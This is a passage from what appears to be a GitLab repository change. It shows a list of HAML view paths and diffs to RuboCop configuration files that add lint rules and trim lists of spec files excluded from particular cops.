- - 'app/views/admin/application_settings/_performance.html.haml'
- - 'app/views/admin/application_settings/_plantuml.html.haml'
- - 'app/views/admin/application_settings/_prometheus.html.haml'
- - 'app/views/admin/application_settings/_realtime.html.haml'
- - 'app/views/admin/application_settings/_repository_check.html.haml'
- - 'app/views/admin/application_settings/_signin.html.haml'
- - 'app/views/admin/application_settings/_signup.html.haml'
- - 'app/views/admin/application_settings/_spam.html.haml'
- - 'app/views/admin/application_settings/_terminal.html.haml'
- - 'app/views/admin/application_settings/_usage.html.haml'
- - 'app/views/admin/application_settings/_visibility_and_access.html.haml'
- - 'app/views/admin/applications/_delete_form.html.haml'
- - 'app/views/admin/applications/_form.html.haml'
- - 'app/views/admin/applications/edit.html.haml'
- - 'app/views/admin/applications/index.html.haml'
- - 'app/views/admin/applications/new.html.haml'
- - 'app/views/admin/applications/show.html.haml'
- - 'app/views/admin/background_jobs/show.html.haml'
- - 'app/views/admin/broadcast_messages/index.html.haml'
- - 'app/views/admin/dashboard/index.html.haml'
- - 'app/views/admin/deploy_keys/new.html.haml'
- - 'app/views/admin/health_check/show.html.haml'
- - 'app/views/admin/hook_logs/_index.html.haml'
- - 'app/views/admin/hook_logs/show.html.haml'
- - 'app/views/admin/hooks/_form.html.haml'
- - 'app/views/admin/hooks/edit.html.haml'
- - 'app/views/admin/logs/show.html.haml'
- - 'app/views/admin/projects/_projects.html.haml'
- - 'app/views/admin/requests_profiles/index.html.haml'
- - 'app/views/admin/runners/_runner.html.haml'
- - 'app/views/admin/runners/index.html.haml'
- - 'app/views/admin/runners/show.html.haml'
- - 'app/views/admin/services/_form.html.haml'
- - 'app/views/admin/services/index.html.haml'
- - 'app/views/admin/spam_logs/_spam_log.html.haml'
- - 'app/views/admin/spam_logs/index.html.haml'
- - 'app/views/admin/system_info/show.html.haml'
- - 'app/views/admin/users/_form.html.haml'
- - 'app/views/admin/users/_head.html.haml'
- - 'app/views/admin/users/_profile.html.haml'
- - 'app/views/admin/users/_projects.html.haml'
- - 'app/views/admin/users/new.html.haml'
- - 'app/views/admin/users/projects.html.haml'
- - 'app/views/admin/users/show.html.haml'
- - 'app/views/authentication/_authenticate.html.haml'
- - 'app/views/authentication/_register.html.haml'
- - 'app/views/clusters/clusters/_cluster.html.haml'
- - 'app/views/clusters/clusters/new.html.haml'
- - 'app/views/dashboard/milestones/index.html.haml'
- - 'app/views/dashboard/projects/_blank_state_admin_welcome.html.haml'
- - 'app/views/dashboard/projects/_blank_state_welcome.html.haml'
- - 'app/views/dashboard/todos/_todo.html.haml'
- - 'app/views/dashboard/todos/index.html.haml'
- - 'app/views/devise/confirmations/almost_there.haml'
- - 'app/views/devise/mailer/_confirmation_instructions_account.html.haml'
- - 'app/views/devise/mailer/_confirmation_instructions_secondary.html.haml'
- - 'app/views/devise/mailer/email_changed.html.haml'
- - 'app/views/devise/mailer/password_change.html.haml'
- - 'app/views/devise/mailer/reset_password_instructions.html.haml'
- - 'app/views/devise/mailer/unlock_instructions.html.haml'
- - 'app/views/devise/passwords/edit.html.haml'
- - 'app/views/devise/sessions/_new_base.html.haml'
- - 'app/views/devise/sessions/_new_crowd.html.haml'
- - 'app/views/devise/sessions/_new_ldap.html.haml'
- - 'app/views/devise/sessions/new.html.haml'
- - 'app/views/devise/sessions/two_factor.html.haml'
- - 'app/views/devise/shared/_omniauth_box.html.haml'
- - 'app/views/devise/shared/_sign_in_link.html.haml'
- - 'app/views/devise/shared/_tabs_normal.html.haml'
- - 'app/views/discussions/_discussion.html.haml'
- - 'app/views/discussions/_headline.html.haml'
- - 'app/views/discussions/_notes.html.haml'
- - 'app/views/doorkeeper/applications/_delete_form.html.haml'
- - 'app/views/doorkeeper/authorized_applications/_delete_form.html.haml'
- - 'app/views/errors/encoding.html.haml'
- - 'app/views/errors/git_not_found.html.haml'
- - 'app/views/errors/omniauth_error.html.haml'
- - 'app/views/errors/precondition_failed.html.haml'
- - 'app/views/events/_event_push.atom.haml'
- - 'app/views/events/event/_push.html.haml'
- - 'app/views/groups/_create_chat_team.html.haml'
- - 'app/views/groups/_group_admin_settings.html.haml'
- - 'app/views/groups/labels/edit.html.haml'
- - 'app/views/groups/labels/new.html.haml'
- - 'app/views/groups/milestones/edit.html.haml'
- - 'app/views/groups/milestones/index.html.haml'
- - 'app/views/groups/milestones/new.html.haml'
- - 'app/views/groups/projects.html.haml'
- - 'app/views/groups/runners/edit.html.haml'
- - 'app/views/groups/settings/_advanced.html.haml'
- - 'app/views/groups/settings/_lfs.html.haml'
- - 'app/views/help/index.html.haml'
- - 'app/views/help/instance_configuration.html.haml'
- - 'app/views/help/instance_configuration/_gitlab_ci.html.haml'
- - 'app/views/help/instance_configuration/_gitlab_pages.html.haml'
- - 'app/views/import/bitbucket/status.html.haml'
- - 'app/views/import/bitbucket_server/status.html.haml'
- - 'app/views/invites/show.html.haml'
- - 'app/views/jira_connect/subscriptions/index.html.haml'
- - 'app/views/layouts/_mailer.html.haml'
- - 'app/views/layouts/header/_default.html.haml'
- - 'app/views/layouts/header/_new_dropdown.haml'
- - 'app/views/layouts/jira_connect.html.haml'
- - 'app/views/layouts/notify.html.haml'
- - 'app/views/notify/_failed_builds.html.haml'
- - 'app/views/notify/_reassigned_issuable_email.html.haml'
- - 'app/views/notify/_removal_notification.html.haml'
- - 'app/views/notify/_successful_pipeline.html.haml'
- - 'app/views/notify/autodevops_disabled_email.html.haml'
- - 'app/views/notify/changed_milestone_email.html.haml'
- - 'app/views/notify/import_issues_csv_email.html.haml'
- - 'app/views/notify/issue_moved_email.html.haml'
- - 'app/views/notify/member_access_denied_email.html.haml'
- - 'app/views/notify/member_invite_accepted_email.html.haml'
- - 'app/views/notify/member_invited_email.html.haml'
- - 'app/views/notify/new_gpg_key_email.html.haml'
- - 'app/views/notify/new_mention_in_issue_email.html.haml'
- - 'app/views/notify/new_ssh_key_email.html.haml'
- - 'app/views/notify/new_user_email.html.haml'
- - 'app/views/notify/pages_domain_disabled_email.html.haml'
- - 'app/views/notify/pages_domain_enabled_email.html.haml'
- - 'app/views/notify/pages_domain_verification_failed_email.html.haml'
- - 'app/views/notify/pages_domain_verification_succeeded_email.html.haml'
- - 'app/views/notify/pipeline_failed_email.html.haml'
- - 'app/views/notify/project_was_exported_email.html.haml'
- - 'app/views/notify/project_was_moved_email.html.haml'
- - 'app/views/notify/project_was_not_exported_email.html.haml'
- - 'app/views/notify/push_to_merge_request_email.html.haml'
- - 'app/views/notify/remote_mirror_update_failed_email.html.haml'
- - 'app/views/notify/removed_milestone_issue_email.html.haml'
- - 'app/views/notify/removed_milestone_merge_request_email.html.haml'
- - 'app/views/notify/repository_push_email.html.haml'
- - 'app/views/profiles/chat_names/_chat_name.html.haml'
- - 'app/views/profiles/chat_names/index.html.haml'
- - 'app/views/profiles/chat_names/new.html.haml'
- - 'app/views/projects/_bitbucket_import_modal.html.haml'
- - 'app/views/projects/_customize_workflow.html.haml'
- - 'app/views/projects/_deletion_failed.html.haml'
- - 'app/views/projects/_fork_suggestion.html.haml'
- - 'app/views/projects/_gitlab_import_modal.html.haml'
- - 'app/views/projects/_home_panel.html.haml'
- - 'app/views/projects/_import_project_pane.html.haml'
- - 'app/views/projects/_readme.html.haml'
- - 'app/views/projects/artifacts/_artifact.html.haml'
- - 'app/views/projects/artifacts/_tree_file.html.haml'
- - 'app/views/projects/artifacts/browse.html.haml'
- - 'app/views/projects/blame/_age_map_legend.html.haml'
- - 'app/views/projects/blame/show.html.haml'
- - 'app/views/projects/blob/_editor.html.haml'
- - 'app/views/projects/blob/_header_content.html.haml'
- - 'app/views/projects/blob/_remove.html.haml'
- - 'app/views/projects/blob/_render_error.html.haml'
- - 'app/views/projects/blob/edit.html.haml'
- - 'app/views/projects/blob/new.html.haml'
- - 'app/views/projects/blob/preview.html.haml'
- - 'app/views/projects/blob/viewers/_empty.html.haml'
- - 'app/views/projects/blob/viewers/_stl.html.haml'
- - 'app/views/projects/branches/_branch.html.haml'
- - 'app/views/projects/branches/_delete_protected_modal.html.haml'
- - 'app/views/projects/branches/new.html.haml'
- - 'app/views/projects/ci/builds/_build.html.haml'
- - 'app/views/projects/ci/lints/_create.html.haml'
- - 'app/views/projects/compare/_form.html.haml'
- - 'app/views/projects/compare/index.html.haml'
- - 'app/views/projects/cycle_analytics/_empty_stage.html.haml'
- - 'app/views/projects/cycle_analytics/_no_access.html.haml'
- - 'app/views/projects/cycle_analytics/_overview.html.haml'
- - 'app/views/projects/cycle_analytics/show.html.haml'
- - 'app/views/projects/deploy_keys/_form.html.haml'
- - 'app/views/projects/deploy_keys/_index.html.haml'
- - 'app/views/projects/deploy_keys/edit.html.haml'
- - 'app/views/projects/deployments/_deployment.html.haml'
- - 'app/views/projects/diffs/_file_header.html.haml'
- - 'app/views/projects/diffs/_replaced_image_diff.html.haml'
- - 'app/views/projects/diffs/_stats.html.haml'
- - 'app/views/projects/empty.html.haml'
- - 'app/views/projects/generic_commit_statuses/_generic_commit_status.html.haml'
- - 'app/views/projects/hook_logs/_index.html.haml'
- - 'app/views/projects/hook_logs/show.html.haml'
- - 'app/views/projects/hooks/edit.html.haml'
- - 'app/views/projects/imports/new.html.haml'
- - 'app/views/projects/imports/show.html.haml'
- - 'app/views/projects/issues/_new_branch.html.haml'
- - 'app/views/projects/issues/show.html.haml'
- - 'app/views/projects/jobs/_header.html.haml'
- - 'app/views/projects/jobs/_table.html.haml'
- - 'app/views/projects/jobs/index.html.haml'
- - 'app/views/projects/labels/edit.html.haml'
- - 'app/views/projects/labels/new.html.haml'
- - 'app/views/projects/mattermosts/_no_teams.html.haml'
- - 'app/views/projects/mattermosts/_team_selection.html.haml'
- - 'app/views/projects/mattermosts/new.html.haml'
- - 'app/views/projects/merge_requests/_commits.html.haml'
- - 'app/views/projects/merge_requests/_mr_title.html.haml'
- - 'app/views/projects/merge_requests/creations/_diffs.html.haml'
- - 'app/views/projects/merge_requests/creations/_new_compare.html.haml'
- - 'app/views/projects/merge_requests/creations/_new_submit.html.haml'
- - 'app/views/projects/merge_requests/diffs/_different_base.html.haml'
- - 'app/views/projects/merge_requests/diffs/_diffs.html.haml'
- - 'app/views/projects/merge_requests/diffs/_version_controls.html.haml'
- - 'app/views/projects/merge_requests/invalid.html.haml'
- - 'app/views/projects/merge_requests/widget/open/_error.html.haml'
- - 'app/views/projects/mirrors/_regenerate_public_ssh_key_confirm_modal.html.haml'
- - 'app/views/projects/mirrors/_ssh_host_keys.html.haml'
- - 'app/views/projects/no_repo.html.haml'
- - 'app/views/projects/pipeline_schedules/_pipeline_schedule.html.haml'
- - 'app/views/projects/pipelines/_info.html.haml'
- - 'app/views/projects/protected_branches/shared/_dropdown.html.haml'
- - 'app/views/projects/protected_branches/shared/_index.html.haml'
- - 'app/views/projects/protected_branches/shared/_matching_branch.html.haml'
- - 'app/views/projects/protected_branches/shared/_protected_branch.html.haml'
- - 'app/views/projects/protected_branches/show.html.haml'
- - 'app/views/projects/protected_tags/shared/_create_protected_tag.html.haml'
- - 'app/views/projects/protected_tags/shared/_dropdown.html.haml'
- - 'app/views/projects/protected_tags/shared/_index.html.haml'
- - 'app/views/projects/protected_tags/shared/_matching_tag.html.haml'
- - 'app/views/projects/protected_tags/shared/_protected_tag.html.haml'
- - 'app/views/projects/protected_tags/shared/_tags_list.html.haml'
- - 'app/views/projects/protected_tags/show.html.haml'
- - 'app/views/projects/registry/repositories/_tag.html.haml'
- - 'app/views/projects/repositories/_feed.html.haml'
- - 'app/views/projects/runners/_shared_runners.html.haml'
- - 'app/views/projects/runners/edit.html.haml'
- - 'app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml'
- - 'app/views/projects/services/mattermost_slash_commands/_help.html.haml'
- - 'app/views/projects/services/prometheus/_metrics.html.haml'
- - 'app/views/projects/services/slack_slash_commands/_help.html.haml'
- - 'app/views/projects/settings/ci_cd/_badge.html.haml'
- - 'app/views/projects/settings/ci_cd/_form.html.haml'
- - 'app/views/projects/tags/index.html.haml'
- - 'app/views/projects/tags/releases/edit.html.haml'
- - 'app/views/projects/tree/_tree_row.html.haml'
- - 'app/views/projects/tree/_truncated_notice_tree_row.html.haml'
- - 'app/views/projects/triggers/_form.html.haml'
- - 'app/views/projects/triggers/_index.html.haml'
- - 'app/views/projects/triggers/_trigger.html.haml'
- - 'app/views/projects/triggers/edit.html.haml'
- - 'app/views/search/results/_issue.html.haml'
- - 'app/views/search/results/_note.html.haml'
- - 'app/views/search/results/_snippet_blob.html.haml'
- - 'app/views/search/results/_snippet_title.html.haml'
- - 'app/views/shared/_auto_devops_implicitly_enabled_banner.html.haml'
- - 'app/views/shared/_commit_message_container.html.haml'
- - 'app/views/shared/_delete_label_modal.html.haml'
- - 'app/views/shared/_group_form.html.haml'
- - 'app/views/shared/_group_tips.html.haml'
- - 'app/views/shared/_md_preview.html.haml'
- - 'app/views/shared/_milestone_expired.html.haml'
- - 'app/views/shared/_no_password.html.haml'
- - 'app/views/shared/_ping_consent.html.haml'
- - 'app/views/shared/_project_limit.html.haml'
- - 'app/views/shared/boards/components/_sidebar.html.haml'
- - 'app/views/shared/boards/components/sidebar/_due_date.html.haml'
- - 'app/views/shared/boards/components/sidebar/_labels.html.haml'
- - 'app/views/shared/boards/components/sidebar/_milestone.html.haml'
- - 'app/views/shared/hook_logs/_content.html.haml'
- - 'app/views/shared/issuable/_assignees.html.haml'
- - 'app/views/shared/issuable/_board_create_list_dropdown.html.haml'
- - 'app/views/shared/issuable/_form.html.haml'
- - 'app/views/shared/issuable/_search_bar.html.haml'
- - 'app/views/shared/issuable/_sidebar.html.haml'
- - 'app/views/shared/issuable/form/_default_templates.html.haml'
- - 'app/views/shared/issuable/form/_template_selector.html.haml'
- - 'app/views/shared/issuable/form/_title.html.haml'
- - 'app/views/shared/labels/_form.html.haml'
- - 'app/views/shared/members/_member.html.haml'
- - 'app/views/shared/milestones/_form_dates.html.haml'
- - 'app/views/shared/milestones/_issuable.html.haml'
- - 'app/views/shared/milestones/_milestone.html.haml'
- - 'app/views/shared/milestones/_sidebar.html.haml'
- - 'app/views/shared/milestones/_top.html.haml'
- - 'app/views/shared/notes/_hints.html.haml'
- - 'app/views/shared/runners/_runner_description.html.haml'
- - 'app/views/shared/runners/show.html.haml'
- - 'app/views/shared/snippets/_header.html.haml'
- - 'app/views/shared/snippets/_snippet.html.haml'
- - 'app/views/shared/web_hooks/_form.html.haml'
- - 'app/views/shared/web_hooks/_hook.html.haml'
- - 'app/views/shared/wikis/_pages_wiki_page.html.haml'
- - 'app/views/users/_deletion_guidance.html.haml'
- - 'ee/app/views/admin/_namespace_plan_info.html.haml'
- - 'ee/app/views/admin/application_settings/_templates.html.haml'
- - 'ee/app/views/admin/audit_logs/index.html.haml'
- - 'ee/app/views/admin/emails/show.html.haml'
- - 'ee/app/views/admin/geo/projects/_registry_failed.html.haml'
- - 'ee/app/views/admin/geo/projects/_registry_never.html.haml'
- - 'ee/app/views/admin/licenses/_upload_trial_license.html.haml'
- - 'ee/app/views/admin/licenses/new.html.haml'
- - 'ee/app/views/admin/monitoring/ee/_nav.html.haml'
- - 'ee/app/views/admin/projects/_shared_runner_status.html.haml'
- - 'ee/app/views/admin/users/_auditor_access_level_radio.html.haml'
- - 'ee/app/views/admin/users/_auditor_user_badge.html.haml'
- - 'ee/app/views/admin/users/_limits.html.haml'
- - 'ee/app/views/admin/users/_user_detail_note.html.haml'
- - 'ee/app/views/dashboard/projects/_blank_state_ee_trial.html.haml'
- - 'ee/app/views/errors/kerberos_denied.html.haml'
- - 'ee/app/views/groups/ee/_settings_nav.html.haml'
- - 'ee/app/views/groups/group_members/_ldap_sync.html.haml'
- - 'ee/app/views/groups/hooks/edit.html.haml'
- - 'ee/app/views/groups/ldap_group_links/index.html.haml'
- - 'ee/app/views/layouts/nav/ee/admin/_new_monitoring_sidebar.html.haml'
- - 'ee/app/views/layouts/service_desk.html.haml'
- - 'ee/app/views/ldap_group_links/_form.html.haml'
- - 'ee/app/views/ldap_group_links/_ldap_group_link.html.haml'
- - 'ee/app/views/ldap_group_links/_ldap_group_links.html.haml'
- - 'ee/app/views/ldap_group_links/_ldap_group_links_show.html.haml'
- - 'ee/app/views/namespaces/_shared_runner_status.html.haml'
- - 'ee/app/views/namespaces/_shared_runners_minutes_setting.html.haml'
- - 'ee/app/views/namespaces/pipelines_quota/_extra_shared_runners_minutes_quota.html.haml'
- - 'ee/app/views/namespaces/pipelines_quota/_list.haml'
- - 'ee/app/views/notify/approved_merge_request_email.html.haml'
- - 'ee/app/views/notify/epic_status_changed_email.html.haml'
- - 'ee/app/views/notify/new_review_email.html.haml'
- - 'ee/app/views/notify/send_admin_notification.html.haml'
- - 'ee/app/views/notify/send_unsubscribed_notification.html.haml'
- - 'ee/app/views/notify/unapproved_merge_request_email.html.haml'
- - 'ee/app/views/oauth/geo_auth/error.html.haml'
- - 'ee/app/views/projects/commits/_mirror_status.html.haml'
- - 'ee/app/views/projects/merge_requests/_approvals_count.html.haml'
- - 'ee/app/views/projects/merge_requests/widget/open/_geo.html.haml'
- - 'ee/app/views/projects/mirrors/_mirrored_repositories_count.html.haml'
- - 'ee/app/views/projects/protected_branches/_update_protected_branch.html.haml'
- - 'ee/app/views/projects/protected_branches/ee/_create_protected_branch.html.haml'
- - 'ee/app/views/projects/protected_branches/ee/_dropdown.html.haml'
- - 'ee/app/views/projects/protected_tags/_protected_tag_extra_create_access_levels.haml'
- - 'ee/app/views/projects/protected_tags/ee/_create_protected_tag.html.haml'
- - 'ee/app/views/projects/push_rules/_index.html.haml'
- - 'ee/app/views/projects/services/gitlab_slack_application/_help.html.haml'
- - 'ee/app/views/projects/services/gitlab_slack_application/_slack_integration_form.html.haml'
- - 'ee/app/views/projects/settings/slacks/edit.html.haml'
- - 'ee/app/views/shared/epic/_search_bar.html.haml'
- - 'ee/app/views/shared/issuable/_approvals.html.haml'
- - 'ee/app/views/shared/issuable/_board_create_list_dropdown.html.haml'
- - 'ee/app/views/shared/issuable/_filter_weight.html.haml'
- - 'ee/app/views/shared/members/ee/_ldap_tag.html.haml'
- - 'ee/app/views/shared/members/ee/_sso_badge.html.haml'
- - 'ee/app/views/shared/milestones/_burndown.html.haml'
- - 'ee/app/views/shared/milestones/_weight.html.haml'
- - 'ee/app/views/shared/promotions/_promote_issue_weights.html.haml'
- - 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- - 'ee/app/views/shared/promotions/_promote_servicedesk.html.haml'
- - 'ee/app/views/shared/push_rules/_form.html.haml'
- - 'ee/app/views/unsubscribes/show.html.haml'
diff --git a/.rubocop.yml b/.rubocop.yml
index 8f5407c64c5..a19cba5eb46 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -629,3 +629,31 @@ Lint/RedundantSafeNavigation:
Style/ClassEqualityComparison:
Enabled: true
+
+# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/207950
+Cop/UserAdmin:
+ Enabled: true
+ Exclude:
+ - 'app/controllers/admin/sessions_controller.rb'
+ - 'app/controllers/concerns/enforces_admin_authentication.rb'
+ - 'app/policies/base_policy.rb'
+ - 'lib/gitlab/auth/current_user_mode.rb'
+ - 'spec/**/*.rb'
+ - 'ee/spec/**/*.rb'
+
+Performance/OpenStruct:
+ Exclude:
+ - 'ee/spec/**/*.rb'
+
+# See https://gitlab.com/gitlab-org/gitlab/-/issues/327495
+Style/RegexpLiteral:
+ Enabled: false
+
+Style/RegexpLiteralMixedPreserve:
+ Enabled: true
+ SupportedStyles:
+ - slashes
+ - percent_r
+ - mixed
+ - mixed_preserve
+ EnforcedStyle: mixed_preserve
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index 9b20af55520..d258efd2322 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -41,23 +41,11 @@ Graphql/Descriptions:
- 'ee/app/graphql/types/vulnerability_severity_enum.rb'
- 'ee/app/graphql/types/vulnerability_state_enum.rb'
-# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/267606
-FactoryBot/InlineAssociation:
- Exclude:
- - 'spec/factories/atlassian_identities.rb'
- - 'spec/factories/events.rb'
- - 'spec/factories/git_wiki_commit_details.rb'
- - 'spec/factories/gitaly/commit.rb'
- - 'spec/factories/group_group_links.rb'
- - 'spec/factories/import_export_uploads.rb'
-
# WIP: See https://gitlab.com/gitlab-org/gitlab/-/issues/220040
Rails/SaveBang:
Exclude:
- 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- 'ee/spec/controllers/subscriptions_controller_spec.rb'
- - 'ee/spec/frontend/fixtures/analytics.rb'
- - 'ee/spec/graphql/resolvers/vulnerabilities_resolver_spec.rb'
- 'ee/spec/initializers/fog_google_https_private_urls_spec.rb'
- 'ee/spec/lib/analytics/merge_request_metrics_calculator_spec.rb'
- 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
@@ -77,8 +65,6 @@ Rails/SaveBang:
- 'ee/spec/models/approval_merge_request_rule_spec.rb'
- 'ee/spec/models/approval_project_rule_spec.rb'
- 'ee/spec/models/burndown_spec.rb'
- - 'ee/spec/models/ci/pipeline_spec.rb'
- - 'ee/spec/models/ci/subscriptions/project_spec.rb'
- 'ee/spec/models/ee/appearance_spec.rb'
- 'ee/spec/models/ee/ci/job_artifact_spec.rb'
- 'ee/spec/models/ee/protected_branch_spec.rb'
@@ -87,11 +73,7 @@ Rails/SaveBang:
- 'ee/spec/models/elasticsearch_indexed_namespace_spec.rb'
- 'ee/spec/models/environment_spec.rb'
- 'ee/spec/models/epic_spec.rb'
- - 'ee/spec/models/geo/project_registry_spec.rb'
- - 'ee/spec/models/geo_node_spec.rb'
- - 'ee/spec/models/geo_node_status_spec.rb'
- 'ee/spec/models/gitlab_subscription_spec.rb'
- - 'ee/spec/models/group_spec.rb'
- 'ee/spec/models/issue_spec.rb'
- 'ee/spec/models/label_note_spec.rb'
- 'ee/spec/models/lfs_object_spec.rb'
@@ -110,28 +92,6 @@ Rails/SaveBang:
- 'ee/spec/models/visible_approvable_spec.rb'
- 'ee/spec/models/vulnerabilities/feedback_spec.rb'
- 'ee/spec/models/vulnerabilities/issue_link_spec.rb'
- - 'ee/spec/presenters/audit_event_presenter_spec.rb'
- - 'ee/spec/presenters/epic_presenter_spec.rb'
- - 'ee/spec/requests/api/boards_spec.rb'
- - 'ee/spec/requests/api/epic_issues_spec.rb'
- - 'ee/spec/requests/api/epic_links_spec.rb'
- - 'ee/spec/requests/api/epics_spec.rb'
- - 'ee/spec/requests/api/geo_nodes_spec.rb'
- - 'ee/spec/requests/api/geo_spec.rb'
- - 'ee/spec/requests/api/graphql/group/epics_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/epic_tree/reorder_spec.rb'
- - 'ee/spec/requests/api/groups_spec.rb'
- - 'ee/spec/requests/api/issues_spec.rb'
- - 'ee/spec/requests/api/ldap_group_links_spec.rb'
- - 'ee/spec/requests/api/merge_request_approval_rules_spec.rb'
- - 'ee/spec/requests/api/merge_request_approvals_spec.rb'
- - 'ee/spec/requests/api/merge_requests_spec.rb'
- - 'ee/spec/requests/api/project_approvals_spec.rb'
- - 'ee/spec/requests/api/projects_spec.rb'
- - 'ee/spec/requests/api/protected_branches_spec.rb'
- - 'ee/spec/requests/api/scim_spec.rb'
- - 'ee/spec/requests/api/todos_spec.rb'
- - 'ee/spec/requests/lfs_http_spec.rb'
- 'ee/spec/services/approval_rules/finalize_service_spec.rb'
- 'ee/spec/services/approval_rules/update_service_spec.rb'
- 'ee/spec/services/ee/boards/issues/create_service_spec.rb'
@@ -188,101 +148,16 @@ Rails/SaveBang:
- 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_http_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/3_create/repository/pull_mirroring_over_ssh_with_key_spec.rb'
- 'spec/controllers/abuse_reports_controller_spec.rb'
- - 'spec/controllers/admin/impersonations_controller_spec.rb'
- - 'spec/controllers/admin/runners_controller_spec.rb'
- - 'spec/controllers/admin/services_controller_spec.rb'
- 'spec/controllers/boards/issues_controller_spec.rb'
- - 'spec/controllers/groups/milestones_controller_spec.rb'
- - 'spec/controllers/groups/runners_controller_spec.rb'
- - 'spec/controllers/groups/uploads_controller_spec.rb'
- - 'spec/controllers/groups_controller_spec.rb'
- - 'spec/controllers/oauth/authorizations_controller_spec.rb'
- - 'spec/controllers/omniauth_callbacks_controller_spec.rb'
- - 'spec/controllers/profiles/emails_controller_spec.rb'
- - 'spec/controllers/profiles/notifications_controller_spec.rb'
- - 'spec/controllers/projects/artifacts_controller_spec.rb'
- - 'spec/controllers/projects/cycle_analytics/events_controller_spec.rb'
- - 'spec/controllers/projects/cycle_analytics_controller_spec.rb'
- - 'spec/controllers/projects/discussions_controller_spec.rb'
- - 'spec/controllers/projects/forks_controller_spec.rb'
- - 'spec/controllers/projects/group_links_controller_spec.rb'
- - 'spec/controllers/projects/imports_controller_spec.rb'
- - 'spec/controllers/projects/issues_controller_spec.rb'
- - 'spec/controllers/projects/labels_controller_spec.rb'
- - 'spec/controllers/projects/milestones_controller_spec.rb'
- - 'spec/controllers/projects/notes_controller_spec.rb'
- - 'spec/controllers/projects/pipelines_controller_spec.rb'
- - 'spec/controllers/projects/releases/evidences_controller_spec.rb'
- - 'spec/controllers/projects/runners_controller_spec.rb'
- - 'spec/controllers/projects/starrers_controller_spec.rb'
- - 'spec/controllers/projects/uploads_controller_spec.rb'
- - 'spec/controllers/projects_controller_spec.rb'
- 'spec/controllers/sent_notifications_controller_spec.rb'
- 'spec/controllers/sessions_controller_spec.rb'
- - 'spec/factories_spec.rb'
- - 'spec/features/admin/admin_appearance_spec.rb'
- - 'spec/features/admin/admin_labels_spec.rb'
- - 'spec/features/admin/admin_mode/login_spec.rb'
- - 'spec/features/admin/admin_runners_spec.rb'
- - 'spec/features/admin/admin_sees_project_statistics_spec.rb'
- - 'spec/features/admin/admin_sees_projects_statistics_spec.rb'
- - 'spec/features/admin/admin_users_impersonation_tokens_spec.rb'
- - 'spec/features/boards/sidebar_spec.rb'
- - 'spec/features/calendar_spec.rb'
- - 'spec/features/commits_spec.rb'
- - 'spec/features/dashboard/datetime_on_tooltips_spec.rb'
- - 'spec/features/dashboard/issuables_counter_spec.rb'
- - 'spec/features/dashboard/project_member_activity_index_spec.rb'
- - 'spec/features/dashboard/projects_spec.rb'
- - 'spec/features/error_tracking/user_sees_error_index_spec.rb'
- - 'spec/features/groups/members/request_access_spec.rb'
- - 'spec/features/issuables/close_reopen_report_toggle_spec.rb'
- - 'spec/features/issues/bulk_assignment_labels_spec.rb'
- - 'spec/features/issues/gfm_autocomplete_spec.rb'
- - 'spec/features/issues/issue_sidebar_spec.rb'
- - 'spec/features/issues/note_polling_spec.rb'
- - 'spec/features/issues/user_creates_branch_and_merge_request_spec.rb'
- - 'spec/features/issues/user_creates_confidential_merge_request_spec.rb'
- - 'spec/features/issues/user_edits_issue_spec.rb'
- - 'spec/features/issues/user_filters_issues_spec.rb'
- - 'spec/features/issues/user_sees_live_update_spec.rb'
- - 'spec/features/issues/user_sorts_issues_spec.rb'
- - 'spec/features/profiles/emails_spec.rb'
- - 'spec/features/profiles/password_spec.rb'
- - 'spec/features/profiles/personal_access_tokens_spec.rb'
- - 'spec/features/projects/features_visibility_spec.rb'
- - 'spec/features/projects/fork_spec.rb'
- - 'spec/features/projects/jobs_spec.rb'
- - 'spec/features/projects/members/user_requests_access_spec.rb'
- - 'spec/features/projects/pages_lets_encrypt_spec.rb'
- - 'spec/features/projects/pages_spec.rb'
- - 'spec/features/projects/pipelines/pipeline_spec.rb'
- - 'spec/features/projects/pipelines/pipelines_spec.rb'
- - 'spec/features/projects/remote_mirror_spec.rb'
- - 'spec/features/projects/services/user_activates_slack_notifications_spec.rb'
- - 'spec/features/projects/settings/access_tokens_spec.rb'
- - 'spec/features/projects/show/user_sees_deletion_failure_message_spec.rb'
- - 'spec/features/projects/user_sees_sidebar_spec.rb'
- - 'spec/features/projects/wiki/user_updates_wiki_page_spec.rb'
- - 'spec/features/projects/wiki/user_views_wiki_page_spec.rb'
- - 'spec/features/projects/wiki/users_views_asciidoc_page_with_includes_spec.rb'
- - 'spec/features/runners_spec.rb'
- - 'spec/features/security/project/internal_access_spec.rb'
- - 'spec/features/security/project/private_access_spec.rb'
- - 'spec/features/security/project/public_access_spec.rb'
- - 'spec/features/users/login_spec.rb'
- - 'spec/features/users/show_spec.rb'
- 'spec/frontend/fixtures/issues.rb'
- 'spec/frontend/fixtures/merge_requests.rb'
- 'spec/graphql/mutations/merge_requests/set_locked_spec.rb'
- 'spec/graphql/mutations/merge_requests/set_wip_spec.rb'
- 'spec/graphql/resolvers/boards_resolver_spec.rb'
- - 'spec/initializers/active_record_locking_spec.rb'
- - 'spec/initializers/fog_google_https_private_urls_spec.rb'
- 'spec/lib/after_commit_queue_spec.rb'
- 'spec/lib/backup/manager_spec.rb'
- - 'spec/lib/banzai/reference_parser/external_issue_parser_spec.rb'
- - 'spec/lib/banzai/reference_redactor_spec.rb'
- 'spec/lib/gitlab/alerting/alert_spec.rb'
- 'spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb'
- 'spec/lib/gitlab/auth/ldap/user_spec.rb'
@@ -297,12 +172,8 @@ Rails/SaveBang:
- 'spec/lib/gitlab/database/custom_structure_spec.rb'
- 'spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb'
- 'spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb'
- - 'spec/lib/gitlab/email/handler/create_note_handler_spec.rb'
- - 'spec/lib/gitlab/email/handler/unsubscribe_handler_spec.rb'
